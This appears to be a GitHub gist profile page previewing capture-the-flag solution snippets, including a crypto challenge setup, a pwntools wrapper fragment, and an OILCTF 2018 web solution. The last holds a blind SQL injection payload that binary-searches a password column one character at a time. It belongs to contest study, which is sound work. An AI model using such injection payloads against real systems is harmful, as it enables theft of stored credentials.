Skip to content

Instantly share code, notes, and snippets.

View samueltangz's full-sized avatar
🏳️
Capture the white flag

Samuel Tang samueltangz

🏳️
Capture the white flag
View GitHub Profile
#!/usr/bin/env python
import gmpy
from Crypto.Util.number import *
from secret import x, y, flag
assert gmpy.is_prime(y)
assert gmpy.is_prime(x+1)
assert (x**2 - 1)**2 % (4*x*y - 1) == 0
|-------------------------------------|
| Options: |
| [C]ipher text |
| [E]ncryption function |
| [M]akekey function |
| [P]ubkey |
| [S]end decrypted message |
| [Q]uit |
|-------------------------------------|
$ C
from pwn import *
context.log_level = 'warning'
def number(x):
return format(x, '01024x').decode('hex')[::-1]
# WRAPPER
# mem[k] = key[l].n
def op_getpub(k, l):
@samueltangz
samueltangz / oilctf-2018-too-young.py
Created March 25, 2018 12:53
OILCTF 2018 / Too Young (Web350)
import requests
md = ''
for i in range(1, 33):
l, r = 0, 128
while l + 1 < r:
m = (l + r) / 2
data = { 'age': 'repeat(crc32(strcmp(mid(pwd,%d,1),%s)),if(strcmp(id,0x35),0,1))#' % (i, hex(m)) }
cookies = { 'PHPSESSID': '8frmhugntqqfj0cv72rsd6qt95' }